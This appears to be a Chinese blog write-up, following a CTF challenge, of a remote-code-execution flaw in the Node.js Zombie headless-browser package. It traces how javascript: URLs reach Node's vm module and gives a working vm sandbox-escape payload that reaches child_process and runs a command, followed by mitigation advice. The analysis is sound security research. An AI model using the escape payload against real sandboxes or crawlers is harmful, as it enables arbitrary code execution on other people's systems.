Nodejs Zoombie Package RCE 分析


前言

2021 祥云杯没来得及打,前两天 buu 上上线了祥云杯的题目,复盘一番后发现到挺有意思的题目 – cralwer_z。具体的 writeup 就不写了,网上一搜都有。题目最后利用了 Zoombie 包的漏洞打了一个RCE,在某个风(xian)和(de)日(dan)丽(teng)的下午我挖掘了下 Zoombie 漏洞产生的原因。

Zoombie 是一个轻量级框架,用于在模拟环境中测试客户端JavaScript代码,不需要浏览器的支持。有漏洞的 Zoombie 版本为 6.1.4,截至 2021/8/26, npm 社区上显示最新版本就是 6.1.4,此版本发布于 2018 年,目前一周下载量仍有 8000+。

漏洞分析

一个简单的Demo,使用 Zoombie 访问网站 evil.com:

const Browser = require('zombie');
 
Browser.visit('evil.com', 3000);

跟进 visit 方法,此时的 Broswer 是使用 class 语法声明的类

调用的 visit 方法自然是静态方法, 在 src/index.js 找到对应实现:

此处创建了 Browser 对象并调用 Browser 对象的 visit 方法,此时调用的 visit 是成员方法,找到对应实现:

接下来调用 this.tabsopen 方法打开url,跟进发现 this.tabssrc/tabs.js 导出对象的实例,继续跟进:

open 方法的返回值是方法内部 open 变量代表的函数调用后的结果,而 open 变量由 createHistory 生成, 更进 createHistorysrc/history.js 找到对应实现:

跟进 History 对象的 open 方法:

跟进 loadDocument 函数,发现 javascript 伪协议的代码内容会被传递给 window._evaluate,推测 window._evaluate 就是负责执行 js 代码的函数

找到 _evaluate 定义的地方,看注释发现确实是负责执行 js 代码的函数

_evaluate 函数也很简单,使用 nodejs 的 vm 模块运行 js 代码,代码运行的上下文就是 window 对象。

按照 nodejs 官方的说法,vm 并不是一种安全的机制,不应该用它来运行不安全的代码。

攻击者构造包含恶意 javascript 代码的页面,使用 Zoombie 访问后就有可能产生 vm 逃逸实现 RCE 。

Node.js VM 逃逸

前不久正好和一个学长研究了下 nodejs 的 vm 逃逸,这里简单总结一下。

一个简单的 demo,摘自 nodejs 官方文档:

const vm = require('vm');

const x = 1;

const context = { x: 2 };
vm.createContext(context); // Contextify the object.

const code = 'x += 40; var y = 17;';
// `x` and `y` are global variables in the context.
// Initially, x has the value 2 because that is the value of context.x.
vm.runInContext(code, context);

console.log(context.x); // 42
console.log(context.y); // 17

console.log(x); // 1; y is not defined.

context 是 js 代码运行的上下文,理想的情况是:vm 里运行的代码的全局空间就是 context ,context 以外的内容都无法访问。
js 是一门基于原型链的语言,每一个对象都有两个特殊的属性 prototype__proto____proto__ 指向父对象的prototype。通过构造 __proto__ 链就可以顺着原型链访问到属于父对象的内容,实现 vm 逃逸。

const vm = require('vm')

code = "this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')"

context = {}

vm.runInNewContext(code, context)

经过测试,即使 context 为 {}undefined, vm 也是能逃逸的,只有 context 为 null 时无法逃逸,但当 context 为 null 时这个 vm 几乎也失去了利用价值。

修复建议

  • 不要使用 Zoombie 访问不受信任的页面
  • 不要使用 Zoombie 访问包含 XSS 漏洞的页面,攻击者仍然能够通过 XSS 恶意加载 javascript。

文章作者: Summer
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer !
  目录